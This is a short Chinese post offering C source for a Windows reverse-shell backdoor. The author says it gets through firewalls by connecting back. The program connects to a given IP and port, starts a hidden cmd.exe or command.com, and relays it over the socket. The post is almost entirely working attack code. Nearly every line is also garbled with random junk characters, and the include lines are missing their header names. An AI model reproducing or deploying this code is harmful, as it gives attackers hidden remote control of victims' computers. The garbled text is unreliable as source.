这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 $V~r*#$.
:b;2iBVB
/* ============================== z 12[vN
Rebound port in Windows NT pr\yc
By wind,2006/7 kL^;^!Nt
===============================*/ )#MKOsOct
#include Dn _D6H
#include UM7Ft"
ics
#pragma comment(lib,"wsock32.lib") %*<k5#Yq
p8BA an3
void OutputShell(); FyYQ4ov0&o
SOCKET sClient;
)1O *~%
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; __c:$7B/4U
|v8 >22y
void main(int argc,char **argv) 9u1)Kr=e
{ )_b#c+
WSADATA stWsaData; yw5MlZ4P=
int nRet; Mk=
tS+
SOCKADDR_IN stSaiClient,stSaiServer; Hjli)*ev
M|FwYF^
if(argc != 3) +&tY&dQQB
{ *9%<}z
printf("Useage:\n\rRebound DestIP DestPort\n"); E=w $r
return; C/e`O|G
} ;u,%an<(
|hehROUn
WSAStartup(MAKEWORD(2,2),&stWsaData); "OFYVK\]i
5Ga>qIM
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^LTLyt)/
rx'},[b]3
stSaiClient.sin_family = AF_INET; 4QK([q
stSaiClient.sin_port = htons(0); knpb$eX4
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); &6,GX7]Fo
*%'4.He7V
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) #O^H?3Q3
{ [X)+(-J
printf("Bind Socket Failed!\n"); A,MRK#1u
return; GC H= X
} jgYUS@}
a9"x_IVU
stSaiServer.sin_family = AF_INET; ~*Ve>4
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); q#I/N$F
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 79u L"N;
a<sEd p
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @fT*fv
{ p{!aRB%
printf("Connect Error!"); Vlce^\s;
return; ZP*Hx
%U
} v*QobI
OutputShell(); z]Z>+|
} 5wRDH1z@{
>9F,=63A
void OutputShell() DyG3|5s1R
{ 8;p6~&).C~
char szBuff[1024]; uwQ{y>SG
SECURITY_ATTRIBUTES stSecurityAttributes; !li Q;R&
OSVERSIONINFO stOsversionInfo; :^3MN
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 5h+g^{BE
STARTUPINFO stStartupInfo; M\,0<{
char *szShell; 5)V J
PROCESS_INFORMATION stProcessInformation; <X
j:c2@
unsigned long lBytesRead; W DY,?
x+nrdW+
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Hm`9M.5b
oj$D3
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); /`D]m?
stSecurityAttributes.lpSecurityDescriptor = 0; u
q:>g
stSecurityAttributes.bInheritHandle = TRUE; >t'/(y
]0xbvJ8oK
[xk1}D
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); @8|- C
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 9Z6] ];8E
U{h5uezD
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); c%Yvj
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g{8>2OK$c
stStartupInfo.wShowWindow = SW_HIDE; <N=p_m
2T
stStartupInfo.hStdInput = hReadPipe; C$aiOK-]+
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 8~EDmg[
/%$'N$@f
GetVersionEx(&stOsversionInfo); JE9|;A
el.;T*Wn
switch(stOsversionInfo.dwPlatformId) B~lrd#qC
{ _,NL;66=[
case 1: W*u Yb|0
szShell = "command.com"; 9X@y*;w<t
break; :bW}*0b-
default: ]Tf.KUm
szShell = "cmd.exe"; mDvZ1aj
break; KZ`d3ad
} {_ww1'|A
EHcqj;@m
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); %K;,qS'N_
* ?rw'
send(sClient,szMsg,77,0); b,~4O~z
while(1) ToCB*GlL
{ wP6~HiC
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); $oH?oD1
if(lBytesRead) '>`?T}a,
{ +T
[0r
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5X|=qZ
send(sClient,szBuff,lBytesRead,0); I^[R]Js
} /o.wCy,J<
else E[Tz%x=P
{ Z%N{Y x(
lBytesRead=recv(sClient,szBuff,1024,0); G!8O*4+A
if(lBytesRead<=0) break;
IpoZ6DB$
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); WsL*P.J
} d&wg\"E
} O=MO M
MQD UJ^I$
return; >VE,/?71@
}